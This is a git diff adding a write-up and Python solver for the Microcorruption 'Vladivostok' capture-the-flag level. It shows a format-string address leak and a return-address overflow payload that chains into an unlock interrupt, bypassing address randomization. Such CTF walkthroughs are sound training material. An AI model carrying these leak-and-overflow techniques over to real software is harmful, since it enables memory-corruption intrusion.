Solve Vladivostok

README.md

@@ -438,3 +438,75 @@ beefbeefbeefbeefbeefbeefbeefbeef1e2462452100
 
 ## Vladivostok
 
+This one is fun. We first use this command to disable the program code randomization:
+
+```
+#define init b 445a;reset;c;u 445a;let r10=3000;let r11=4400;b 4494;c;u 4494;let pc=44a0;c
+```
+
+Now, when typing `init`, the program initializes and we can debug properly.
+
+We quickly realize that there is a return address vulerability that we can
+exploit with this code:
+
+```
+                 offset      move 3 into r13
+                /           /
+----------------    --------
+aaaaaaaaaaaaaaaafe423d400300b012ae46
+                ----        -------- branch to code that does R13 += 0x7c
+                    \                and then pushes R13 and INTs to unlock
+                     \
+                      jump to injected code
+
+```
+
+Unfortunately, this requires both the random stack and program address. After
+playing around with the first input, we find that `%x%x` reliably prints the
+`printf` function address but there is no way for a stack address.
+
+We have to find a different location to exploit. After some digging, we find
+that 0x48ec (aka `_int`) allows as to push a chosen value into R14. We can than
+layer the return call injects to return to `0x4954` which pushes R14 as the
+interrupt selection value and then calls `0x10`. That means, we can inject
+`0x7f` into R14, allowing us to call the unlock interrupt.
+
+With the static addresses, our attack then looks like this:
+
+```
+   `_int` addr             inject 0x7f (unlock door) into r14
+              \           /
+               ----     --
+aaaaaaaaaaaaaaaaec4854497f00
+                   ----
+  `push r14` addr /
+```
+
+Now, the only issue is of course that this relies on the derandomized code
+locations. We can write a quick Python script, to compute the correct string
+for every `printf`-addr:
+
+```python
+PRINTF_ADDR = 0x476a # This is the address we can extract via '%n%n'
+INT_ADDR = 0x48ec # This is the address where we can push a specific value to R14
+PUSH_R14_ADDR = 0x4954 # This location triggers an interrupt with R14 as the INT selector
+
+random_printf_addr = 0x1338 # get via '%x%x' username input
+random_int_addr = random_printf_addr + (INT_ADDR - PRINTF_ADDR)
+random_push_r14_addr = random_printf_addr + (PUSH_R14_ADDR - PRINTF_ADDR)
+
+solution_string = "aaaaaaaaaaaaaaaa" # Initial offset
+solution_string += reverse_byte_order(random_int_addr)
+solution_string += reverse_byte_order(random_push_r14_addr)
+solution_string += "7f00"
+print(solution_string)
+```
+
+All that is left is finding out the address by using `%x%x` in the username
+input field. We then put the address we get into the script, and reliably get
+the solution string.
+
+
+# Bangalore
+
+

vladivostok.py

@@ -0,0 +1,49 @@
+"""
+Script to solve https://microcorruption.com/debugger/Vladivostok
+
+- Enter '%x%x' into the username field to get the printf-location
+- Input the printf-location into this script
+- Enter the output string into the password field to solve
+
+"""
+
+
+def reverse_byte_order(hex_int):
+    hex_str = hex(hex_int)
+
+    # Ensure the hex string has an even number of characters
+    if len(hex_str) % 2 != 0:
+        hex_str = "0" + hex_str
+
+    # Reverse the byte order in groups of two
+    byte_reversed = "".join(reversed([hex_str[i:i + 2] for i in range(0, len(hex_str), 2)]))
+    return byte_reversed[:-2]
+
+
+def get_printf_address():
+    hex_str = input("Enter a hex string: ")
+    num = int(hex_str, 16)
+    return num
+
+
+def compute_solution():
+    # These are the addresses for the program at its original location.
+    PRINTF_ADDR = 0x476a # This is the address we can extract via '%n%n'
+    INT_ADDR = 0x48ec # This is the address where we can push a specific value to R14
+    PUSH_R14_ADDR = 0x4954 # This location triggers an interrupt with R14 as the INT selector
+
+
+    random_printf_addr = get_printf_address()
+    random_int_addr = random_printf_addr + (INT_ADDR - PRINTF_ADDR)
+    random_push_r14_addr = random_printf_addr + (PUSH_R14_ADDR - PRINTF_ADDR)
+
+    solution_string = "aaaaaaaaaaaaaaaa" # Initial offset
+    solution_string += reverse_byte_order(random_int_addr)
+    solution_string += reverse_byte_order(random_push_r14_addr)
+    solution_string += "7f00"
+    print(solution_string)
+
+
+if __name__ == "__main__":
+    compute_solution()
+